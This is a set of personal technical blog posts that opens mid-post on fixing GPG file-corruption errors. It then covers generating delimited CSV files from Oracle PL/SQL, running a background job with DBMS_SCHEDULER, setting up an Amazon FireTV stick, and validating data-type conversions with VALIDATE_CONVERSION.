      "Ponder Stibbons (Test generation of a GPG key) <ponders@uu.ac.am>"

Also, we should now be able to read the decrypted contents of the file :

cat secret_message.txt

Out of Cheese Error
Redo from start
When things go horribly wrong

In using GPG, I’ve found that error messages regarding packet sizes can be quite common when you first begin receiving file from a new source system. Perhaps the most cryptic of these is :

Ohhhh jeeee: mpi larger than packet

When this sort of thing crops up it appears to be the result of a file corruption. Either the key file used to encrypt the data, or the encrypted file itself, has somehow become corrupted.
There are at least two common ways for this to happen.

Transferring a text key from Windows to Linux

Remember that, in the example above, we used a text file to distribute our public key.
As you probably know, Windows uses two non-printing characters to terminate a line – Carriage Return (to move the cursor to the start of the line) and Line Feed (to move down to the next line). This means that each new line is preceeded by the ASCII characters 13 and 10.
Linux uses a single new-line character – ASCII 10 – in which the Carriage Return is implicit.
Unfortunately conversion between the two new-lines is not automatic. Therefore, if you find yourself transferring the text copy of a public key from a Windows system to a Linux system then you need to convert the new-lines to Linux using the dos2unix utility before using the key for GPG encryption.
In our example, we’d need to run :

dos2unix ponder_stibbons_pubkey.txt

Note : on the off-chance it’s not already installed, you can install this utility as follows :

On a RedHat-based system (RHEL, CentOS, Fedora etc) :

sudo yum install dos2unix

On a Debian-based system ( Debian, Ubuntu, Mint etc) :

sudo apt-get install dos2unix

One useful aspect of this utility is that it will not alter the file unless it finds new-lines that require changing.

Selecting the file transfer mode over sftp

Unless you are an aged person such as myself, who remembers the time when you’d ftp files on the command line, you probably won’t be aware that ftp ( the forerunner to sftp), had different modes for text files (ascii) and binary files (binary). However, many modern sftp client tools do remember this distinction. Take FileZilla, for example :

As we have seen, GPG encrypted files are binary. If they are transferred in ASCII mode then they will become corrupted and trigger GPG’s packet-size obsession when you try to decrypt them.

If you’re hitting this issue then make sure that your sftp client isn’t being “helpful” by automatically selecting the incorrect transfer mode for your encrypted file.

Using FileZilla as an example, you can specify the correct mode when you invoke a Manual Transfer from the Transfer menu :

Hopefully you should now be free of file corruption and be able to proceed without having to re-initialize your FTB.

Generating CSV files from PL/SQL the Very Easy Way.

Thu, 2020-02-13 15:31

This post is dedicated to Morten Braten and William Robertson.
Thanks to both of you for saving me a lot of time (and typing)…

XML, YAML, JSON. When it comes to transferring data between systems, they’ve all been flavour of the month at one time or another. However, good old CSV is still the format of choice when the batch window opens.
Not only is it simple, it adds comparatively little overhead to the size of the data file being generated.

OK – CSV used to mean “Comma-delimited” but these days it’s become synonymous with delimited data.
Whatever separator character you use, generating CSV is considerably easier these days…unless you’re using PL/SQL in a batch (as opposed to interactive) process.
That said, Connor MacDonald does have a clever way of utilising the functionality available in a command line tool such as SQL*Plus by means of a DBMS_SCHEDULER job.

If for some reason that won’t work for you, it looks like you’re going to have to hack out some custom PL/SQL to get the job done…or you could have a look at a couple of the options available in what other technologies would refer to as “the ecosystem”.
What I’m going to cover is :

  • The pain of hand-cranking delimited SQL
  • A solution offered in Morten Braten’s Alexandria PL/SQL Utility Library
  • An alternative solution made available by William Robertson
  • The final PL/SQL procedure
  • Hand-cranking delimited code

    We’re working in a Data Warehouse running on Oracle. We need to provide a data feed to a downstream system.
    The feed is comma separated with values enclosed by quotes.
    The query to generate the data for the feed is reasonably straight forward :

    select dept.department_id, dept.department_name,
        loc.city, coun.country_id
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';  -- this will be passed as a parameter in the run.  
    

    All ok so far. However, when it comes to tweaking the query to generate the output, things get a bit more fiddly.
    The query in the package will have to change to something like this :

    select '"'||dept.department_id||'",'
        ||'"'||dept.department_name||'",'
        ||'"'||loc.city||'",'
        ||'"'||coun.country_id||'"'
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';    
    

    Typically, these sorts of files are generated with dozens (sometimes hundreds) of attributes. If looking at all of those quotes and commas is going to give you a headache, you might seek to mitigate the worst effects by replacing the characters with their ASCII values :

    select chr(34)||dept.department_id||chr(34)||chr(44)
        ||chr(34)||dept.department_name||chr(34)||chr(44)
        ||chr(34)||loc.city||chr(34)||chr(44)
        ||chr(34)||coun.country_id||chr(34)
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';    
    

    The double-quotes surrounding the data values are designed to escape any commas in the data and prevent them from being read as field terminators. Unfortunately, this doesn’t help much if the data also contains double-quotes. For this reason, I tend to prefer a pipe character as a delimiter. This allows us to dispense with the double-quotes. As a double-pipe is the SQL concatenation operator, let’s use the ASCII value instead for the delimiter itself :

    select dept.department_id||chr(124)
        ||dept.department_name||chr(124)
        ||loc.city||chr(124)
        ||coun.country_id
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';      
    

    Wouldn’t it be nice if there was some way we could just persuade Oracle to magically write our delimiters for us.
    Well, I don’t know about Oracle, but Morten Braten will have a go for you…

    The Alexandria CSV_UTIL_PKG package

    As with most Alexandria packages, there’s a demo on how to use CSV_UTIL_PKG in demos/csv_util_pkg_demo.sql.
    However, as explained in Morten’s post on this subject, you need to create some types first …

    create type t_str_array as table of varchar2(4000);
    /
     
    create type t_csv_line as object (
      line_number  number,
      line_raw     varchar2(4000),
      c001         varchar2(4000),
      c002         varchar2(4000),
      c003         varchar2(4000),
      c004         varchar2(4000),
      c005         varchar2(4000),
      c006         varchar2(4000),
      c007         varchar2(4000),
      c008         varchar2(4000),
      c009         varchar2(4000),
      c010         varchar2(4000),
      c011         varchar2(4000),
      c012         varchar2(4000),
      c013         varchar2(4000),
      c014         varchar2(4000),
      c015         varchar2(4000),
      c016         varchar2(4000),
      c017         varchar2(4000),
      c018         varchar2(4000),
      c019         varchar2(4000),
      c020         varchar2(4000)
    );
    /
     
    create type t_csv_tab as table of t_csv_line;
    /
    

    With these types in place, we can install the package from the Alexandria GitHub repo.
    The files we’re looking for are under the ora directory:

    • csv_util_pkg.pks
    • csv_util_pkg.pkb

    Download them and run them in the order they are listed here ( the .pks is the header and the .pkb is the body).

    Now, we can take some of the commas out of our code…

    select csv_util_pkg.array_to_csv(
        t_str_array(
            dept.department_id, dept.department_name,
            loc.city, coun.country_id))
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';
    

    By default, the results are output using a comma as the separator. However, we can change this easily enough:

     
    select csv_util_pkg.array_to_csv(
        t_str_array(dept.department_id, dept.department_name, loc.city, coun.country_id),
        chr(124))
    from departments dept
    inner join locations loc
        on dept.location_id = loc.location_id
    inner join countries coun
        on loc.country_id = coun.country_id  
    inner join regions reg
        on reg.region_id = coun.region_id
    where reg.region_name = 'Americas';
    

    The output is pretty much what we’re looking for :

    60|IT|Southlake|US
    50|Shipping|South San Francisco|US
    10|Administration|Seattle|US
    30|Purchasing|Seattle|US
    90|Executive|Seattle|US
    100|Finance|Seattle|US
    110|Accounting|Seattle|US
    120|Treasury|Seattle|US
    130|Corporate Tax|Seattle|US
    140|Control And Credit|Seattle|US
    150|Shareholder Services|Seattle|US
    160|Benefits|Seattle|US
    170|Manufacturing|Seattle|US
    180|Construction|Seattle|US
    190|Contracting|Seattle|US
    200|Operations|Seattle|US
    210|IT Support|Seattle|US
    220|NOC|Seattle|US
    230|IT Helpdesk|Seattle|US
    240|Government Sales|Seattle|US
    250|Retail Sales|Seattle|US
    260|Recruiting|Seattle|US
    270|Payroll|Seattle|US
    20|Marketing|Toronto|CA
    

    Now all you need to do is put this into your PL/SQL procedure and write some code to save it to a file ( possibly using the Alexandria FILE_UTIL_PKG package).
    If that seems like too much effort though…

    William Robertson’s CSV package

    Whilst the Alexandria package is a bit of an all-rounder, William Robertson has produced something that’s rather more tailored to producing CSV files.

    The package – simply called CSV – has a function that produces delimited format from a refcursor. It also contains a procedure to write csv data to a file.
    Let’s take a closer look…

    Installation of the package simply involves downloading the code from here, and running it. Both the package header and body are in a single file – csv.pkg.

    The package’s REPORT function takes a slightly different approach in that it takes a ref cursor as an argument :

    select column_value
    from table(csv.report(cursor(
        select dept.department_id, dept.department_name,
            loc.city, coun.country_id
        from departments dept
        inner join locations loc
            on dept.location_id = loc.location_id
        inner join countries coun
            on loc.country_id = coun.country_id  
        inner join regions reg
            on reg.region_id = coun.region_id
        where reg.region_name = 'Americas')))
    /    
    

    Once again, the delimiter character is comma by default. Once again, we can override this :

    select column_value
    from table(csv.report(cursor(
        select dept.department_id, dept.department_name,
            loc.city, coun.country_id
        from departments dept
        inner join locations loc
            on dept.location_id = loc.location_id
        inner join countries coun
            on loc.country_id = coun.country_id  
        inner join regions reg
            on reg.region_id = coun.region_id
        where reg.region_name = 'Americas'), 
        chr(124)))
    /    
    

    We can go even further. You can add common things that you may need to include in a csv that’s serving as a feed file for another system. These include :

    • a header record with a delimited list of attributes
    • a label attribute for each row of data to make these rows easier to identify for the program loading the csv
    • a rowcount as a trailer record

    All of which can be accomplished thus :

    select column_value
    from table(csv.report(cursor(
        select dept.department_id, dept.department_name,
            loc.city, coun.country_id
        from departments dept
        inner join locations loc
            on dept.location_id = loc.location_id
        inner join countries coun
            on loc.country_id = coun.country_id  
        inner join regions reg
            on reg.region_id = coun.region_id
        where reg.region_name = 'Americas'), 
        p_separator => chr(124),
        p_label => 'DATA',
        p_heading => 'Y',
        p_rowcount => 'Y'))
    /    
    
    [show output]
    

    Not only that, but the package also facilitates creating the file itself…

    Generating a file from the CSV package

    First of all, we need access to a directory. So, the DBA needs to do something like :

    grant read, write on directory app_files to hr;
    

    Now, connected as HR, we can create a PL/SQL procedure to generate our csv files like this :

    create or replace procedure depts_by_region( i_region regions.region_name%type)
    as
        l_fname varchar2(100);
        rc sys_refcursor;
    begin
        
        l_fname := i_region||'_depts.csv';
        
        open rc for
        select dept.department_id, dept.department_name,
            loc.city, coun.country_id
        from departments dept
        inner join locations loc
            on dept.location_id = loc.location_id
        inner join countries coun
            on loc.country_id = coun.country_id  
        inner join regions reg
            on reg.region_id = coun.region_id
        where reg.region_name = i_region; 
        
        csv.write_file(
            p_dataset => rc,
            p_separator => chr(124),
            p_label => 'DATA',
            p_heading => 'Y',
            p_rowcount => 'Y',
            p_directory => 'APP_FILES',
            p_filename => l_fname);
    end;
    /
    

    …and run it like this :

    begin
        depts_by_region('Americas');
    end;
    /
    

    Sure enough, when we look on the server, we can see :

    [mike@frea ~]$ cd /opt/oracle/app_files/
    [mike@frea app_files]$ ls -l *.csv
    -rw-r--r-- 1 oracle oinstall 840 Feb 11 20:56 Americas_depts.csv
    

    …and the file looks like this :

    HEADING|DATA|DEPARTMENT_ID|DEPARTMENT_NAME|CITY|COUNTRY_ID
    DATA|60|IT|Southlake|US
    DATA|50|Shipping|South San Francisco|US
    DATA|10|Administration|Seattle|US
    DATA|30|Purchasing|Seattle|US
    DATA|90|Executive|Seattle|US
    DATA|100|Finance|Seattle|US
    DATA|110|Accounting|Seattle|US
    DATA|120|Treasury|Seattle|US
    DATA|130|Corporate Tax|Seattle|US
    DATA|140|Control And Credit|Seattle|US
    DATA|150|Shareholder Services|Seattle|US
    DATA|160|Benefits|Seattle|US
    DATA|170|Manufacturing|Seattle|US
    DATA|180|Construction|Seattle|US
    DATA|190|Contracting|Seattle|US
    DATA|200|Operations|Seattle|US
    DATA|210|IT Support|Seattle|US
    DATA|220|NOC|Seattle|US
    DATA|230|IT Helpdesk|Seattle|US
    DATA|240|Government Sales|Seattle|US
    DATA|250|Retail Sales|Seattle|US
    DATA|260|Recruiting|Seattle|US
    DATA|270|Payroll|Seattle|US
    DATA|20|Marketing|Toronto|CA
    ROW_COUNT|DATA|24
    

    There are some limitations. For example, William points out that any row that’s longer than 4000 characters will cause the package to break. However, unless you’re generating fairly “wide” lines, he’s pretty much written your code for you.

    Running a “background” job in PL/SQL

    Mon, 2020-01-20 14:11

    Teddy has observed the recent General Election campaign with some interest and has concluded that he has what it takes to be the next Prime Minister.

    It’s not just the haircut, which does now look extremely Prime Ministerial…

    Politics is a robust business but Teddy’s more than capable of playing “ruff” :

    He firmly believes in the need to streamline Government at Cabinet level, which has the incumbent Chief Mouser to the Cabinet Office a little nervous.
    He’s also well used to being followed around by a “pooper scooper”. And not to put too fine a point on it, there’s more than one reason that he’s known as a “shaggy” dog.

    If he’s going to make it in politics, Teddy knows that he doesn’t have time to waste waiting for that pesky long-running job he’s just started. Oh no, he needs to use his evenings to get on with building his power base.
    Fortunately, Oracle facilitates detached execution of PL/SQL blocks by means of the DBMS_SCHEDULER package. Now, I know what you’re thinking, that’s going to involve a lot of fiddly setup with schedules and windows and chains and stuff. Well, you may be pleasantly surprised…

    The package

    Teddy has a packaged procedure that he needs to test :

    create or replace package long_runner as
        procedure write_log( 
            i_msg_type in logs.message_type%type,
            i_msg logs.message%type);
            
        procedure marathon( i_sleep in pls_integer, i_string in varchar2);
    end long_runner;
    /
        
    create or replace package body long_runner as
        procedure write_log( 
            i_msg_type in logs.message_type%type,
            i_msg logs.message%type)
        is
        pragma autonomous_transaction;
        begin
            insert into logs( message_type, message)
            values( i_msg_type, i_msg);
            
            commit;
        end write_log;    
            
        procedure marathon( i_sleep in pls_integer, i_string in varchar2)
        is
            l_msg logs.message%type;
        begin
            write_log('INFO', 'i_sleep : '||i_sleep);
            write_log('INFO', 'i_string : '||i_string);
            for i in 1..26 loop
                l_msg := null;
                for j in 1..i loop
                    l_msg := l_msg||'z';
                end loop;
                write_log('INFO', initcap( l_msg));
                dbms_session.sleep( i_sleep);
            end loop;
            write_log('INFO', 'Completed');
        end marathon;    
    end long_runner;
    /
    

    Normally, he’d kick it off in a simple PL/SQL block :

    begin
        long_runner.marathon( 30, 'Teddy for PM!');
    end;
    /
    

    Unfortunately, it’s almost time to leave for the day and he doesn’t trust Windows not to do an update and reboot itself.

    Fortunately, Teddy’s not above a (quick and) dirty trick…

    declare
        stmnt_block varchar2(4000);
    begin
        stmnt_block := q'[
            begin
                long_runner.marathon( 30, 'Teddy for PM!');
            end;
            ]';
            
        dbms_scheduler.create_job(
            job_name => 'checkit_tomorrow',
            job_type => 'PLSQL_BLOCK',
            job_action => stmnt_block,
            start_date => sysdate, -- run now
            enabled => true,
            auto_drop => true,
            comments => 'My background job - because I have a life');
    end;
    /
    

    He’s created a DBMS_SCHEDULER job on-the-fly. The job is set to run immediately by setting the start_date to now. The job will be dropped once it’s completed ( auto_drop set to true).

    Run this and it returns almost immediately. That’s because the job has been submitted rather than the PL/SQL block having finished.
    If we want to check progress, we can take a look at the scheduler views…

    Tracking job progress

    When the job starts, we can see it in USER_SCHEDULER_JOBS :

    select to_char(start_date, 'DD-MON-YYYY HH24:MI') as start_date, 
        state
    from user_scheduler_jobs
    where job_name = 'CHECKIT_TOMORROW'
    /
    
    START_DATE                 STATE               
    -------------------------- --------------------
    20-JAN-2020 19:45          RUNNING             
    

    If, for any reason, Teddy needs to terminate the job, he can simply run :

    exec dbms_scheduler.stop_job('CHECKIT_TOMORROW', true);
    

    As noted previously, the job will drop itself on completion at which point it will disappear from these views.

    To see the outcome of the job :

    select log_id, log_date, status
    from user_scheduler_job_log
    where job_name = 'CHECKIT_TOMORROW';
    
        LOG_ID LOG_DATE                         STATUS                        
    ---------- -------------------------------- ------------------------------
         53216 20-JAN-20 19.50.01.854589000 GMT SUCCEEDED                                          
    

    Sometimes we need further details. For example, if the job failed, the error stack will be included in the
    ERRORS column of the USER_SCHEDULER_JOB_RUN_DETAILS views :

    select run_duration, status,
        error#, additional_info, errors
    from user_scheduler_job_run_details
    where job_name = 'CHECKIT_TOMORROW'
    and log_id = 53216 --log id from user_scheduler_job_log;
    
    RUN_DURATION        STATUS                             ERROR# ADDITIONAL_INFO      ERRORS              
    ------------------- ------------------------------ ---------- -------------------- --------------------
    +00 00:05:00.000000 SUCCEEDED                               0                                     
    

    In this case however, it looks like Teddy’s run was perfect…just like it will be in 2024.

    Upcycling and old TV to a Smart TV with an Amazon FireTV Stick

    Mon, 2020-01-13 15:53

    Once upon a time, a TV was simply something you plugged into an arial socket and used to watch whatever broadcasters were prepared to show at any given time.
    With the rise of streaming, TVs have now become “smart”. Well, smartish. I mean, some of them use really slick software and have lots of Apps that enable you to stream from a variety of sources.
    Others are a bit less sophisticated and have limited access to such Apps.
    Not only that, the world is now full of the old type of “dumb” but perfectly serviceable TVs.
    So, if you want to :

    • Revitalise an old non-smart TV
    • Make a new not-so-smart TV smarter
    • Place a TV somewhere that’s not within easy reach of an arial socket

    …then help may be at hand. There are a number of devices you can plug into a TV to beef up it’s smartness.
    As these devices are streaming content over the internet, you don’t need an arial to make use of them.
    Furthermore, they are a fraction of the cost of buying a new Smart TV.

    What follows is an account of how I’ve setup an Amazon Fire TV Stick and used it to access the wealth of streaming content that’s freely available in the UK, as well as some of the main subscription services…

    Why FireTV ?

    Let’s be clear here, I’ve not done any extensive research into streaming sticks so I’m not saying that FireTV is the best. However, it does fulfill all of our requirements whilst being a very cheap way of “smartening up” your TV. It also happens to be the only one I’ve used, although I have used it on several TVs now, with uniformly impressive results.

    Installation pre-requisites

    First up you’re going to need a TV with an HDMI port.
    You’ll also need access to a reasonable broadband connection. At the start of 2020, let’s say that anything over 12Mb/Sec should be good enough if your not sharing, maybe super fast broadband speeds (20MB up) if you are.
    You can use slower speeds but this can be prone to buffering.

    Oh yes, you’ll also need one of these :

    firetv

    Other stuff it would be useful to have to hand :

    • Your Wifi network name and password
    • Your Amazon account – if you have one – don’t worry if you haven’t
    • Your BBC Account – if you have one

    One point to note is that, if you do happen to have an Amazon Prime account, there’s a whole bunch of streaming content that is available to you for free so it makes sense to use this account when seting up the FireTV.
    If you don’t it’s not a problem however, as we’ll see shortly…

    Initial Setup

    Plug the FireTV stick into a it’s power cable then into a mains socket. Then connect it to an HDMI port on your TV.

    Now turn on the TV and play hunt-the-HDMI-port to find out which one your FireTV is plugged into.

    FireTV will now take you through the initial setup process which consists of :

    1. Set Language (English UK in my case)
    2. Set up Wifi to connect to your network
    3. Sign in with your Amazon Account ( or create a new one) – NOTE – you can set up an account without providing any payment details !
    4. Select the brand of TV you are using so that the power and volume buttons on the FireTV remote will work

    At this point the setup will give you the opportunity to install some of the more popular apps. Don’t worry if you can’t find what you’re looking for, because we’ll add a lot more apps shortly.
    So, select Netflix, YouTube and anything else being offerred that takes your fancy.

    Finally, we have the FireTV Home screen. Before we do anything else however, we need to go to the menu that’s displayed at the top of the screen and select Settings
    Scroll across and select My Fire TV.
    Then select About from the list that pops up.
    Finally you need to select the option Install Update if it’s there.

    If there is a pending update, FireTV will download it and then either automatically re-start or prompt you to re-start it.

    Once it’s re-booted, you can now download your apps.
    Back on the Home screen menu, navigate to Apps. This opens up the FireTV app store.
    If you navigate to Categories then Entertainment, you’ll find the TV services you need to access a significant chunk of the Freeview channels, along with some subscription services.

    Some of these apps will require registration ( or use of an existing account), however all of the ones listed below can be installed and used without having to pay anything.
    Note that, as a TV License payer, you will have access to a veritable treasure trove of content on BBC iPlayer, including classic programs, box sets and even movies.

    Streaming Freeview Channels

    The mapping between Freeview Channels and Apps is as follows :

    Channel App Notes BBC 1 iPlayer BBC 2 iPlayer ITV 1 ITV Hub Channel 4 All 4 Catchup only Channel 5 My 5 Catchup only ITV 2 ITV Hub BBC 4 iPlayer ITV 3 ITV Hub Quest TV Player E 4 All 4 Catchup only Really TV Player More 4 All 4 Catchup only Dave UK TV Play Catchup only Drama UK TV Play Catchup only 5 USA My 5 Catchup only ITV 4 ITV Hub Yesterday UK TV Play Catchup only ITVBe ITV Hub 5 Star My 5 Catchup only DMax TV Player Food Network TV Player Home TV Player 47 TV Player Paramount Network My 5 Catchup only 5 Select My 5 Catchup only Blaze My 5 Catchup only PBS America My 5 Catchup only CBBC iPlayer CBeebies iPlayer CITV ITV Hub BBC News iPlayer BBC Parliament iPlayer Sky News Sky News

    You can stream some channels in more than one App. For example BBC1 can be streamed live on TVPlayer or iPlayer.

    Other useful apps

    If you’re a BT TV subscriber, you can use the BT App to access some of the content and save yourself buying an extra set-top box. Note that BT do charge for access via the FireTV stick.
    Also, if you happen to have a Plex media server configured, we’ll there’s an App for that ( under the Apps and Games category).

    In fact, if you can’t find an app, it’s always worth asking Alexa.
    Right, back to my catch-up of a repeat of QI on Dave…

    Putting VALIDATE_CONVERSION front and centre, or possibly center

    Thu, 2019-12-19 13:35

    I recently had an interesting conversation with Suzanne, a native of Pittsburgh PA, about how the Americans and British spell some words differently.
    Adding some local colour ( color) to the discussion, Suzanne recounted the story of when the US Postal service, seeking to save money on printing, proposed removing “superfluous” characters from place names.
    Well, the burghers of Pittsburgh weren’t having any of that thank-you-very-much and so the City’s name remains unabridged to this day. The denizens of Harrisburg weren’t so fortunate.
    Whilst we may be separated by a common language, as programmers who work with Oracle, Suzanne and I do share the challenge of loading data into tables when the format of that data may not be entirely what we were expecting.
    If you’re fortunate enough to inhabit the sunlit uplands of Oracle 12c R2 and beyond, we’re about to explore the shiny new VALIDATE_CONVERSION function which promises to make your life that little bit easier.
    For those languishing on 11g, we’ll explore how we might implement a similar function in PL/SQL.

    The Data to be converted

    Let’s pretend we’ve loaded some data from a file. By definition the actual data as it exists in the file is a collection of character strings. We’ve taken a permissive approach to the load (i.e. load everything if at all possible). The target table for our load is :

    create table historic_events_stg(
        id varchar2(4000),
        event_desc varchar2(4000),
        event_ts varchar2(4000))
    /    
    

    A DML representation of the data load would look like this :

    insert into historic_events_stg(id, event_desc, event_ts)
        select 'ONE', q'[Webster's Dictionary first published]', 'April 14 1828' from dual union all
        select '2', q'[Wright Brother's first flight]', 'DEC-17-1903' from dual union all
        select '3', 'NHS established in the UK', '5 July 1948' from dual union all
        select '4', 'First Manned Moon Landing',  'July 20 1969 20:17:40' from dual union all
        select '5', 'Tim Berners-Lee proposes the World Wide Web',  '19901112' from dual union all
        select '6', q'[JK Rowling's first Harry Potter book published]', '30-JUN-1997' from dual union all
        select '7', 'iPhone released in the USA', '06/29/2007' from dual;
    commit;    
    

    Now, we’d like to load the data from the staging table into our application table which looks like this :

    create table historic_events (
        id number,
        event_desc varchar2(4000),
        event_ts timestamp with time zone)
    /    
    

    In 11g and previously this might prove a bit tricky without the use of something like Log Errors :

    insert into historic_events select * from historic_events_stg;
    
    ERROR at line 1:
    ORA-01722: invalid number
    
    

    Sometimes, it would be nice if we could just see which values are going to cause problems before we even attempt to load the data…

    The VALIDATE_CONVERSION function

    Let’s see what might be causing our error…

    select id, 
        validate_conversion(id as number) as isnum
    from historic_events_stg;
    

    Yes, it’s that simple, just ask validate_conversion what happens when you try to convert all of the IDs in the table to numbers :

    ID  ISNUM
    --- -----
    ONE     0
    2       1
    3       1
    4       1
    5       1
    6       1
    7       1
    

    If the conversion is going to succeed, the function returns a 1. Otherwise, it returns a zero.
    It works for DATES too, although some extra effort may be needed.

    In my current session, the NLS_DATE_FORMAT is :

    select sys_context('userenv', 'nls_date_format') from dual;
    
    SYS_CONTEXT('USERENV','NLS_DATE_FORMAT')
    ----------------------------------------
    DD-MON-YYYY
    

    So, when I check my date strings in the staging table, most of them fail to pass muster…

    select event_ts, 
        validate_conversion(event_ts as date) as isdate
    from historic_events_stg; 
    
    EVENT_TS                  ISDATE
    ------------------------- ------
    April 14 1828                  0
    DEC-17-1903                    0
    5 July 1948                    1
    July 20 1969 20:17:40 UTC      0
    19901112                       0
    30-JUN-1997                    1
    06/29/2007                     0
    

    We can specify the date format we’re validating to so we get a slightly different result with :

    select event_ts, 
        validate_conversion(event_ts as date, 'MON-DD-YYYY') as isdate
    from historic_events_stg;
    
    EVENT_TS                       ISDAT
    ------------------------------ -----
    April 14 1828                      1
    DEC-17-1903                        1
    5th July 1948                      0
    July 20th 1969 20:17:40 UTC        0
    19901112                           0
    30-JUN-1997                        0
    06/29/2007                         0
    

    Unfortunately, it looks like we’re going to have to go through the record set and re-format most of the dates.
    OK, it’s more likely that you’d go back to whoever is giving you the feed and ask them to just pick one date format.

    The other possibility is to use the function to select the correct format to use for each conversion…

    select event_ts,
        case 
            when validate_conversion( event_ts as date, 'MON-DD-YYYY') = 1 
                then to_date(event_ts, 'MON-DD-YYYY')
            when validate_conversion( event_ts as date, 'DD Month YYYY') = 1 
                then to_date( event_ts, 'DD Month YYYY')
            when validate_conversion( event_ts as date, 'DD-MON-YYYY') = 1 
                then to_date( event_ts, 'DD-MON-YYYY')
            when validate_conversion( event_ts as date, 'MM/DD/YYYY') = 1 
                then to_date(event_ts, 'MM/DD/YYYY')
            when validate_conversion( event_ts as date, 'YYYYMMDD') = 1 
                then to_date(event_ts, 'YYYYMMDD')
            when validate_conversion(event_ts as timestamp with time zone, 'MON DD YYYY HH24:MI:SS TZR') = 1 
                then to_timestamp_tz(event_ts, 'MON DD YYYY HH24:MI:SS TZR')
        end as converted_event_ts
    from historic_events_stg; 
    
    EVENT_TS                       CONVERTED_EVENT_TS                                
    ------------------------------ --------------------------------------------------
    April 14 1828                  14-APR-28 00.01.00.000000000 EUROPE/LONDON        
    DEC-17-1903                    17-DEC-03 00.00.00.000000000 EUROPE/LONDON        
    5 July 1948                    05-JUL-48 00.00.00.000000000 EUROPE/LONDON        
    July 20 1969 20:17:40 UTC      20-JUL-69 20.17.40.000000000 UTC                  
    19901112                       12-NOV-90 00.00.00.000000000 EUROPE/LONDON        
    30-JUN-1997                    30-JUN-97 00.00.00.000000000 EUROPE/LONDON        
    06/29/2007                     29-JUN-07 00.00.00.000000000 EUROPE/LONDON        
    
    7 rows selected. 
    

    To be honest, I think I’d prefer the first option if I had a choice.
    If you’re not on 12c yet, all of this is somewhat academic. If you want to take advantage of similar functionality, you’re going to have to roll-your-own…

    The sort-of Validate Conversion function

    Using the documentation for the VALIDATE_CONVERSION function as a rough guide, we can come up with something reasonably serviceable in PL/SQL :

    create or replace function is_valid_conversion(
        i_expr in varchar2,
        i_target_type in varchar2,
        i_format in varchar2 default null)
        return pls_integer deterministic
    is
    
    --
    -- Mimic the VALIDATE_CONVERSION function that's available in 12c and above.
    -- NOTE - setting of NLS params specifically excluded here.
    -- This function simply works against the base data types i.e. :
    -- NUMBER
    -- DATE
    -- TIMESTAMP
    -- TIMESTAMP WITH TIME ZONE
    -- This should cover most of the common use-cases for this function.
    
        dummy_date date;
        dummy_num number;
        dummy_ts timestamp;
        dummy_tstz timestamp with time zone;
        
        l_type varchar2(30);
        l_format varchar2(50);
        
        e_missing_type exception;
        e_unsupported_type exception;
    begin
        -- Sanity check the input parameters
        if i_target_type is null then
            raise e_missing_type;
        elsif upper( i_target_type) not in ('NUMBER', 'DATE', 'TIMESTAMP', 'TIMESTAMP WITH TIME ZONE')
        then
            raise e_unsupported_type;
        end if;
        
        if i_expr is null then
            -- will convert to any of the data types we're dealing with here
            return 1;
        end if;
        l_type := upper( i_target_type);
        -- Now test the conversion
        if l_type = 'NUMBER' then
            if i_format is not null then
                dummy_num := to_number( i_expr, i_format);
            else
                dummy_num := to_number(i_expr);
            end if;
        elsif l_type = 'DATE' then
            l_format := coalesce( i_format, sys_context('userenv', 'nls_date_format'));
            dummy_date := to_date( i_expr, l_format);
        elsif l_type = 'TIMESTAMP' then
            l_format := coalesce( i_format, sys_context('userenv', 'nls_timestamp_format'));
            dummy_ts := to_timestamp( i_expr, l_format);
        elsif l_type = 'TIMESTAMP WITH TIME ZONE' then
            select coalesce( i_format, value)
            into l_format
            from v$nls_parameters
            where parameter = 'NLS_TIMESTAMP_TZ_FORMAT';
            
            dummy_tstz := to_timestamp_tz( i_expr, i_format);
        end if;
        
        return 1;
    exception 
        when e_missing_type then 
            raise_application_error(-20000, 'A type to convert to must be specified');
        when e_unsupported_type then
            raise_application_error(-20001, q'[Target type is not supported by this function. You haven't written that bit yet !]');
        when others then
            -- conversion has failed
            return 0;
    end is_valid_conversion;
    /
    

    Sure enough, when you run this, the results are the same :

    select id, 
        is_valid_conversion( id, 'NUMBER')
    from historic_events_stg;
    
    ID  ISNUM
    --- -----
    ONE     0
    2       1
    3       1
    4       1
    5       1
    6       1
    7       1
    
    select event_ts, 
        is_valid_conversion(event_ts, 'DATE') as isdate
    from historic_events_stg; 
    
    EVENT_TS                  ISDATE
    ------------------------- ------
    April 14 1828                  0
    DEC-17-1903                    0
    5 July 1948                    1
    July 20 1969 20:17:40 UTC      0
    19901112                       0
    30-JUN-1997                    1
    06/29/2007                     0
    
    select event_ts, 
        is_valid_conversion(event_ts, 'DATE', 'MON-DD-YYYY') as isdate
    from historic_events_stg; 
    
    EVENT_TS                           ISDATE
    ------------------------------ ----------
    April 14 1828                           1
    DEC-17-1903                             1
    5 July 1948                             0
    July 20 1969 20:17:40 UTC               0
    19901112                                0
    30-JUN-1997                             0
    06/29/2007                              0
     
    
    select event_ts,
        is_valid_conversion(event_ts, 'TIMESTAMP WITH TIME ZONE')
    from historic_events_stg
    where id = '4';
    
    EVENT_TS                          IS_TSTZ
    ------------------------------ ----------
    July 20 1969 20:17:40 UTC               1
    

    Of course, this is no substitute for a built-in SQL function in terms of both functionality and performance. However, it may provide the basis of something useful if you’re not in a position to play with all those 12c goodies just yet.

    Configuring External Tools in SQLDeveloper

    Tue, 2019-11-19 14:51

    In order to distract myself from the lunacy that is the ongoing UK General Election campaign, I’ve been continuing to spend some quality time with the Swiss Army Knife of the Oracle world, SQLDeveloper.
    I know, conventional wisdom says that when you have a hammer, everything is a nail.
